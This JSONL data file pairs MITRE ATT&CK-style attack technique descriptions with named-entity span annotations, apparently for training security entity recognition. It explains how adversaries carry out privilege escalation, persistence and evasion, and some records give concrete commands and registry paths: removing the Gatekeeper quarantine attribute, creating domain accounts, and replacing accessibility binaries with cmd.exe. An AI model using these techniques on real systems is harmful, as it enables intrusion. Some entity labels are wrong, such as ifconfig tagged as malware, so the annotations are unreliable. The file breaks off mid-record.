+{"text": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. \n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", "spans": {"SYSTEM: Windows": [[4, 11]], "VULNERABILITY: code execution": [[663, 677]], "VULNERABILITY: arbitrary code execution": [[653, 677]]}, "info": {"source": "apt_reports", "name": "LSASS Driver"}}
+{"text": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Business Relationships"}}
+{"text": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts. \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.\n\n**Note:** this technique is distinct from Additional Cloud Roles, which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control Additional Cloud Roles that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.", "spans": {"SYSTEM: Exchange Online": [[1236, 1251]], "SYSTEM: GCP": [[953, 956], [1911, 1914]], "SYSTEM: AWS": [[1804, 1807]], "ORGANIZATION: Google": [[1206, 1212]]}, "info": {"source": "apt_reports", "name": "Temporary Elevated Cloud Access"}}
+{"text": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.", "spans": {"SYSTEM: macOS": [[717, 722]], "MALWARE: Proton": [[817, 823]], "MALWARE: FruitFly": [[804, 812]]}, "info": {"source": "apt_reports", "name": "Video Capture"}}
+{"text": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check.  The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>.  \n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application.", "spans": {"SYSTEM: macOS": [[3, 8], [1126, 1131], [1218, 1223]], "ORGANIZATION: Apple": [[196, 201]]}, "info": {"source": "apt_reports", "name": "Gatekeeper Bypass"}}
+{"text": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available,  but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.", "spans": {"TOOL: UPX": [[339, 342]]}, "info": {"source": "apt_reports", "name": "Software Packing"}}
+{"text": "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.  To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.  To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. \n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. \n\nAdversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. \n\nProcess Doppelgänging is implemented in 4 steps :\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows 10": [[886, 896]], "SYSTEM: Windows": [[271, 278], [886, 893]]}, "info": {"source": "apt_reports", "name": "Process Doppelgänging"}}
+{"text": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nAdversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>). On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.\n\nAdversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "spans": {"TOOL: ipconfig": [[310, 318]], "SYSTEM: ESXi": [[619, 623]], "MALWARE: route": [[342, 347], [569, 574]], "MALWARE: nbtstat": [[329, 336]], "MALWARE: ifconfig": [[319, 327]]}, "info": {"source": "apt_reports", "name": "System Network Configuration Discovery"}}
+{"text": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.", "spans": {}, "info": {"source": "apt_reports", "name": "Delete Cloud Instance"}}
+{"text": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.  \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). \n\n**Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.", "spans": {"SYSTEM: GitHub": [[192, 198]], "SYSTEM: GitLab": [[200, 206]]}, "info": {"source": "apt_reports", "name": "Code Repositories"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.   If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "spans": {"FILEPATH: %TEMP%": [[913, 919]], "TOOL: replace": [[1371, 1378]], "VULNERABILITY: privilege escalation": [[1552, 1572]], "VULNERABILITY: DLL search order hijacking": [[1304, 1330]]}, "info": {"source": "apt_reports", "name": "Executable Installer File Permissions Weakness"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. \n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).  The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. \n\nOther accessibility features exist that may also be leveraged in a similar fashion: \n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "spans": {"FILEPATH: C:\\Windows\\System32\\sethc.exe": [[471, 500]], "FILEPATH: C:\\Windows\\System32\\utilman.exe": [[569, 600], [1642, 1673]], "FILEPATH: %systemdir%\\</code>,": [[1205, 1225]], "FILEPATH: C:\\Windows\\System32\\osk.exe": [[2101, 2128]], "FILEPATH: C:\\Windows\\System32\\Magnify.exe": [[2155, 2186]], "FILEPATH: C:\\Windows\\System32\\Narrator.exe": [[2212, 2244]], "FILEPATH: C:\\Windows\\System32\\DisplaySwitch.exe": [[2278, 2315]], "FILEPATH: C:\\Windows\\System32\\AtBroker.exe": [[2345, 2377]], "TOOL: Remote Desktop Protocol": [[1893, 1916]], "TOOL: cmd.exe": [[1704, 1711]], "TOOL: cmd": [[1704, 1707]], "SYSTEM: Windows Server": [[1570, 1584]], "SYSTEM: Windows Server 2003": [[1570, 1589]], "SYSTEM: Windows": [[132, 139], [273, 280], [474, 481], [572, 579], [627, 634], [857, 864], [1098, 1105], [1254, 1261], [1534, 1541], [1570, 1577], [1645, 1652], [2104, 2111], [2158, 2165], [2215, 2222], [2281, 2288], [2348, 2355]], "SYSTEM: Windows XP": [[1534, 1544]]}, "info": {"source": "apt_reports", "name": "Accessibility Features"}}
+{"text": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.", "spans": {}, "info": {"source": "apt_reports", "name": "Bandwidth Hijacking"}}
+{"text": "Adversaries may gain persistence and elevate privileges in certain situations by abusing PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.  \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched.  \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.", "spans": {"TOOL: PowerShell": [[89, 99], [112, 122], [186, 196], [270, 280], [395, 405], [432, 442], [452, 462], [702, 712], [767, 777], [965, 975]]}, "info": {"source": "apt_reports", "name": "PowerShell Profile"}}
+{"text": "In user mode, Windows Authenticode  digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,   which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. \n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)  to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  ) and are identified by globally unique identifiers (GUIDs). \n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: \n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP  (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP  (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "spans": {"TOOL: PowerShell": [[885, 895]], "SYSTEM: Windows": [[14, 21]], "ORGANIZATION: Microsoft": [[193, 202], [582, 591], [1478, 1487], [1857, 1866], [2299, 2308], [3148, 3157]], "VULNERABILITY: code execution": [[3833, 3847]]}, "info": {"source": "apt_reports", "name": "SIP and Trust Provider Hijacking"}}
+{"text": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.", "spans": {"TOOL: PowerShell": [[702, 712]], "VULNERABILITY: spear-phishing": [[268, 282]], "VULNERABILITY: phishing": [[274, 282]]}, "info": {"source": "apt_reports", "name": "Account Discovery"}}
+{"text": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "spans": {"MALWARE: HTRAN": [[315, 320]]}, "info": {"source": "apt_reports", "name": "Proxy"}}
+{"text": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.\n\nThere are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.", "spans": {"TOOL: PowerShell": [[467, 477]], "SYSTEM: macOS": [[337, 342]], "SYSTEM: Unix": [[390, 394]], "SYSTEM: Windows": [[407, 414], [441, 448]], "SYSTEM: Python": [[531, 537]], "SYSTEM: Linux": [[347, 352]]}, "info": {"source": "apt_reports", "name": "Command and Scripting Interpreter"}}
+{"text": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.", "spans": {"SYSTEM: GitHub": [[209, 215]]}, "info": {"source": "apt_reports", "name": "Malicious Library"}}
+{"text": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry. These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately. \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors.  ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.", "spans": {"TOOL: PowerShell": [[474, 484], [915, 925]], "SYSTEM: ESXi": [[1658, 1662]], "SYSTEM: Windows": [[226, 233], [488, 495]], "SYSTEM: Linux": [[1469, 1474]]}, "info": {"source": "apt_reports", "name": "Indicator Blocking"}}
+{"text": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: Active Directory": [[115, 131]]}, "info": {"source": "apt_reports", "name": "Domain Account"}}
+{"text": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`,  `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.", "spans": {"SYSTEM: macOS": [[54, 59], [212, 217], [343, 348], [662, 667], [1010, 1015]], "SYSTEM: Linux": [[64, 69], [222, 227], [365, 370], [488, 493], [1225, 1230]]}, "info": {"source": "apt_reports", "name": "Extended Attributes"}}
+{"text": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "apt_reports", "name": "Employee Names"}}
+{"text": "Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: \n\n* In a <b>Direct Pipeline Execution</b> scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an <b>Indirect Pipeline Execution</b> scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a <b>Public Pipeline Execution</b> scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets.  If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).", "spans": {"SYSTEM: GitHub": [[931, 937]], "SYSTEM: GitLab": [[338, 344]]}, "info": {"source": "apt_reports", "name": "Poisoned Pipeline Execution"}}
+{"text": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain. Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting. Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP. The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.", "spans": {"SYSTEM: Windows": [[139, 146], [642, 649]], "SYSTEM: LDAP": [[632, 636]], "SYSTEM: .NET": [[614, 618]], "VULNERABILITY: Kerberoasting": [[513, 526]], "MALWARE: Nltest": [[658, 664]]}, "info": {"source": "apt_reports", "name": "Domain Trust Discovery"}}
+{"text": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket. Golden tickets enable adversaries to generate authentication material for any account in Active Directory. \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets. The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.", "spans": {"SYSTEM: Kerberos": [[64, 72], [603, 611], [708, 716]], "SYSTEM: Active Directory": [[224, 240], [564, 580]], "VULNERABILITY: golden ticket": [[120, 133], [252, 265]]}, "info": {"source": "apt_reports", "name": "Golden Ticket"}}
+{"text": "**This technique has been deprecated. Please use Distributed Component Object Model and Component Object Model.**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). DCOM is transparent middleware that extends the functionality of Component Object Model (COM)  beyond a local computer using remote procedure call (RPC) technology.\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.  By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript. Specific COM objects also exists to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications  as well as other Windows objects that contain insecure methods. DCOM can also execute macros in existing documents  and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application , bypassing the need for a malicious document.", "spans": {"SYSTEM: Java": [[1231, 1235]], "SYSTEM: Microsoft Office": [[1930, 1946]], "SYSTEM: DCOM": [[216, 220], [637, 641], [1015, 1019], [1502, 1506], [1537, 1541], [1775, 1779]], "SYSTEM: Windows": 